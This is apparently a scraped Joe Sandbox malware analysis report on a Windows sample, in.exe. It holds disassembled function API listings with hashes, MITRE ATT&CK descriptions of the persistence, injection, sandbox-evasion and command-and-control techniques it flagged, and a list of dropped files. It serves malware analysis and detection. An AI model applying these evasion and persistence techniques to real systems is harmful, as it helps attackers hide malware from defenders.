Part of subcall function 004098C0: SetEnvironmentVariableW.KERNELBASE(02289B68,02289B68,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098D9

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178

Part of subcall function 0040DF50: HeapFree.KERNEL32(02280000,00000000,00000000,?,00000000,?,00411DE4,00000000,00000000,-00000008), ref: 0040DF68

Strings

*pA, xrefs: 004025FF

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Value$ErrorHeapLast$AllocateArgsCommandEnvironmentFreeLinePathRemoveVariablewcslen
String ID: *pA
API String ID: 1199808876-3833533140
Opcode ID: d71b0a94e292aaa5df852a5f67a936174220f907fb1fd7f815eb7f58dc0b4ad1
Instruction ID: 21a80edfc212e2aa9d277187ee9bfa0e7f9d15baa35618845dd156f20ee28a4c
Opcode Fuzzy Hash: d71b0a94e292aaa5df852a5f67a936174220f907fb1fd7f815eb7f58dc0b4ad1
Instruction Fuzzy Hash: 6C412DB5904701AED600BBB2DD8293F77ADEBD4309F108D3FF544A9092CA3CD849966E

Function 0040973A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 0040D2E8: TlsGetValue.KERNEL32(?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000,00000000,00000200), ref: 0040D2EF
Part of subcall function 0040D2E8: HeapAlloc.KERNEL32(00000008,?,?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D30A
Part of subcall function 0040D2E8: TlsSetValue.KERNEL32(00000000,?,?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D319

GetCommandLineW.KERNEL32(?,?,?,00000000,?,?,00409870,00000000,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015), ref: 00409754

Strings

", xrefs: 00409776
, xrefs: 0040976E

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Value$AllocCommandHeapLine
String ID: $"
API String ID: 1339485270-3817095088
Opcode ID: 23df4b233d713070fc482b77f76cf6363686a3a5707749b1e186b32a761d8b54
Instruction ID: ab659b79707db7d7869a667e669445cd4c695224699636d93eb587c6e0e94742
Opcode Fuzzy Hash: 23df4b233d713070fc482b77f76cf6363686a3a5707749b1e186b32a761d8b54
Instruction Fuzzy Hash: 4A31A7735252218ADB74AF10981127772A1EFA2B60F18C17FE4926B3D2F37D8D41D369

Function 00409FB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00409FED
wcscmp.MSVCRT ref: 0040A026

Strings

$0A, xrefs: 00409FC4

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: _wcsicmpwcscmp
String ID: $0A
API String ID: 3419221977-513306843
Opcode ID: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
Instruction ID: ce5e94a217663c04e8d70dd0a479d34a80eb67d33ce446282a7f9ad79867738e
Opcode Fuzzy Hash: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
Instruction Fuzzy Hash: 2E11C476108B0A8FD3209F46D440923B3E9EF94364720843FD849A3791DB75FC218B6A

Function 00405700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405722
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405746

Strings

$0A, xrefs: 0040570B

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: $0A
API String ID: 626452242-513306843
Opcode ID: 6ebf4601a22723825f5cb97cb36f297afbf3d96316567957ce430f2db9d3b6d5
Instruction ID: 257aa3cf1744ec2ccb71e28fb2e26357a5123011e6015fa77bf79efc500ed16d
Opcode Fuzzy Hash: 6ebf4601a22723825f5cb97cb36f297afbf3d96316567957ce430f2db9d3b6d5
Instruction Fuzzy Hash: 16F0393A3862213BE230215A6C0AF672A69CB86F71F2542327B24BF2D085B5680046AC

Function 0040D57F Relevance: 5.1, APIs: 4, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?), ref: 0040D593
HeapAlloc.KERNEL32(00000000,-00000018,00000001,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?), ref: 0040D648
HeapAlloc.KERNEL32(00000000,-00000018,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000), ref: 0040D66B
LeaveCriticalSection.KERNEL32(?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?,?), ref: 0040D6C3

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 223ceb5fedc6bf78071f8d1d71221cc314eeccb9612ab2cf4b16bda0937aed7a
Instruction ID: 88038414d57a756cd7fad5c0050c74a6e8d04d69e7cdc083c9acd98434601a7e
Opcode Fuzzy Hash: 223ceb5fedc6bf78071f8d1d71221cc314eeccb9612ab2cf4b16bda0937aed7a
Instruction Fuzzy Hash: 9C51E370A00B069FC324CF69D980926B7F5FF587103148A3EE89A97B90D335F959CB94

Function 0040E130 Relevance: 5.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040E145
HeapAlloc.KERNEL32(02280000,00000000,0000000A), ref: 0040E169
HeapReAlloc.KERNEL32(02280000,00000000,00000000,0000000A), ref: 0040E18D
HeapFree.KERNEL32(02280000,00000000,00000000,?,?,0040506F,?,0041702E,00401095,00000000), ref: 0040E1C4

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Heap$Alloc$Freewcslen
String ID:
API String ID: 2479713791-0
Opcode ID: 360229d15a1fb6af201326cedd8d5f72cb5848c1c9ec4e5b388a4d503be7f4ab
Instruction ID: 6002b1c3f5819bc59b30070f24097f674b8c445c60846b79d2129d941eb5fd7b
Opcode Fuzzy Hash: 360229d15a1fb6af201326cedd8d5f72cb5848c1c9ec4e5b388a4d503be7f4ab
Instruction Fuzzy Hash: BA21F774604209EFDB14CF94D884FAAB7BAEB48354F108569F9099F390D735EA81CF94

Function 0040D498 Relevance: 5.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D4A3
HeapReAlloc.KERNEL32(00000008,?,?,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040D4E3
LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D51E

Part of subcall function 0040DB72: HeapAlloc.KERNEL32(00000008,00000000,0040D3EC,00418610,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB7E

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 762af24c506bf6e2b9559650e0095779b3b7acce71c4fd081469871384e8466f
Instruction ID: 44ceb6562d1eb3065d03cece85d0244f92a2e0345c3169311120ea74ede9abb0
Opcode Fuzzy Hash: 762af24c506bf6e2b9559650e0095779b3b7acce71c4fd081469871384e8466f
Instruction Fuzzy Hash: 0A113D72604600AFC3208FA8DC40E56B7F9FB48325B14892EE896E36A1C734F804CF65

Function 0040D6DD Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D6EF
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF), ref: 0040D706
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF), ref: 0040D722
LeaveCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D73F

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 9025b1c5150b3b55cbdbde059a5d8489335d355e00ab4da0a2b3a5ee45c47fee
Instruction ID: 19831624efecdb95f34469d84cf285095463f1f7ead1137181efdd2e3cba2855
Opcode Fuzzy Hash: 9025b1c5150b3b55cbdbde059a5d8489335d355e00ab4da0a2b3a5ee45c47fee
Instruction Fuzzy Hash: CB012879A0161AAFC7208F96ED04967BB7CFB49751305853AA844A7A60C734E824DFE8

Function 00409ECF Relevance: 5.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A11A: memset.MSVCRT ref: 0040A182

Part of subcall function 0040D946: EnterCriticalSection.KERNEL32(00418624,00000200,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D95A
Part of subcall function 0040D946: HeapFree.KERNEL32(00000000,?,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004), ref: 0040D9A8
Part of subcall function 0040D946: LeaveCriticalSection.KERNEL32(00418624,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D9AF

HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409EFA
HeapFree.KERNEL32(00000000,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F06
HeapFree.KERNEL32(00000000,?,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409F1A
HeapFree.KERNEL32(00000000,00000000,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F30

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 725e25c77e1e11b4bf87ed01b6ee150763b189248ade4676bad763f5516a4b52
Instruction ID: 731859a3b15cae5753bb7de1e8a6b13bc7caaa2a8ebc947d3a100cd7cc498ee7
Opcode Fuzzy Hash: 725e25c77e1e11b4bf87ed01b6ee150763b189248ade4676bad763f5516a4b52
Instruction Fuzzy Hash: ABF04471215109BFC6115F16DD40D57BF6DFF8A7A43424129B40493571CB36EC20AAA8

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report in.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Unpacked PEs

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rluivb2.ixp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edkga1da.nkj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2v0voew.uaj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0kasdrk.lno.psm1

C:\Users\user\AppData\Local\Temp\archive.htm

C:\Users\user\AppData\Local\Temp\shost.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Windows Analysis Report
in.exe